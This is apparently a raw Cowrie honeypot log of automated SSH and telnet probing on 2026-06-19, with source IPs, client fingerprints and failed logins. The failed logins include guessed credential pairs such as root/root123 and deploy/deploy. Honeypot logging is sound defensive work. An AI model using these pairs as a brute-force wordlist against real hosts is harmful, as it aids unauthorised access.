{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":41008,"dst_ip":"10.17.0.5","dst_port":22,"session":"edf579a8aeca","protocol":"ssh","message":"New connection: 45.156.87.147:41008 (10.17.0.5:22) [session: edf579a8aeca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:49.870827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:49.878216Z","src_ip":"45.156.87.147","session":"edf579a8aeca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:49.955595Z","src_ip":"45.156.87.147","session":"edf579a8aeca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:50.281319Z","src_ip":"45.156.87.147","session":"edf579a8aeca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:51.363827Z","src_ip":"45.156.87.147","session":"edf579a8aeca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.110.228.123","src_port":51634,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0390a175d48","protocol":"ssh","message":"New connection: 59.110.228.123:51634 (159.203.135.109:22) [session: a0390a175d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:51.787435Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:51.791369Z","src_ip":"59.110.228.123","session":"a0390a175d48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":41022,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1f6a284532b","protocol":"ssh","message":"New connection: 45.156.87.147:41022 (10.17.0.5:22) [session: d1f6a284532b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:56.002124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:56.005673Z","src_ip":"45.156.87.147","session":"d1f6a284532b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:56.086775Z","src_ip":"45.156.87.147","session":"d1f6a284532b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"rootroot","message":"login attempt [user/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:56.400578Z","src_ip":"45.156.87.147","session":"d1f6a284532b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":37172,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ffbf0760dfd","protocol":"ssh","message":"New connection: 8.219.200.1:37172 (10.17.0.5:22) [session: 1ffbf0760dfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:57.140491Z"}
{"eventid":"cowrie.session.closed","duration":37.62119746208191,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:57.174579Z","src_ip":"172.81.62.90","session":"9da55b445b60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:36:57.485964Z","src_ip":"45.156.87.147","session":"d1f6a284532b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.114","src_port":59672,"dst_ip":"159.203.135.109","dst_port":22,"session":"64d0a5b654aa","protocol":"ssh","message":"New connection: 103.189.235.114:59672 (159.203.135.109:22) [session: 64d0a5b654aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:00.299865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:00.303249Z","src_ip":"103.189.235.114","session":"64d0a5b654aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:00.559171Z","src_ip":"103.189.235.114","session":"64d0a5b654aa","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:00.645146Z","src_ip":"8.219.200.1","session":"1ffbf0760dfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"think","password":"think123","message":"login attempt [think/think123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:01.604456Z","src_ip":"103.189.235.114","session":"64d0a5b654aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":48192,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f1c2f5e744e","protocol":"ssh","message":"New connection: 45.156.87.147:48192 (10.17.0.5:22) [session: 3f1c2f5e744e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:02.185494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:02.191074Z","src_ip":"45.156.87.147","session":"3f1c2f5e744e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:02.369083Z","src_ip":"45.156.87.147","session":"3f1c2f5e744e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:02.622495Z","src_ip":"45.156.87.147","session":"3f1c2f5e744e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:02.856107Z","src_ip":"103.189.235.114","session":"64d0a5b654aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:03.717140Z","src_ip":"45.156.87.147","session":"3f1c2f5e744e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":45312,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8f8ded29f8c","protocol":"ssh","message":"New connection: 8.219.200.1:45312 (10.17.0.5:22) [session: e8f8ded29f8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:04.256670Z"}
{"eventid":"cowrie.session.closed","duration":39.461918592453,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:06.726480Z","src_ip":"172.81.62.90","session":"3e320707be7a","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:07.997082Z","src_ip":"8.219.200.1","session":"e8f8ded29f8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:08.000838Z","src_ip":"8.219.200.1","session":"e8f8ded29f8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":48210,"dst_ip":"10.17.0.5","dst_port":22,"session":"99a9373ea0dd","protocol":"ssh","message":"New connection: 45.156.87.147:48210 (10.17.0.5:22) [session: 99a9373ea0dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:08.321272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:08.325051Z","src_ip":"45.156.87.147","session":"99a9373ea0dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:08.409871Z","src_ip":"45.156.87.147","session":"99a9373ea0dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"root","message":"login attempt [ubuntu/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:08.667161Z","src_ip":"45.156.87.147","session":"99a9373ea0dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:08.941228Z","src_ip":"8.219.200.1","session":"1ffbf0760dfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:09.751544Z","src_ip":"45.156.87.147","session":"99a9373ea0dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:10.479546Z","src_ip":"8.219.200.1","session":"1ffbf0760dfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:10.485967Z","src_ip":"8.219.200.1","session":"e8f8ded29f8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:11.725245Z","src_ip":"8.219.200.1","session":"e8f8ded29f8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.6","message":"Connection lost after 14.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:11.729834Z","src_ip":"8.219.200.1","session":"1ffbf0760dfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":34118,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0f71f24a5f6","protocol":"ssh","message":"New connection: 45.156.87.147:34118 (10.17.0.5:22) [session: a0f71f24a5f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:14.370404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:14.374319Z","src_ip":"45.156.87.147","session":"a0f71f24a5f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:14.464271Z","src_ip":"45.156.87.147","session":"a0f71f24a5f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123456","message":"login attempt [newuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:14.782715Z","src_ip":"45.156.87.147","session":"a0f71f24a5f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:15.866999Z","src_ip":"45.156.87.147","session":"a0f71f24a5f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":58642,"dst_ip":"10.17.0.5","dst_port":22,"session":"482960e34931","protocol":"ssh","message":"New connection: 45.156.87.147:58642 (10.17.0.5:22) [session: 482960e34931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:37:20.376279Z"}
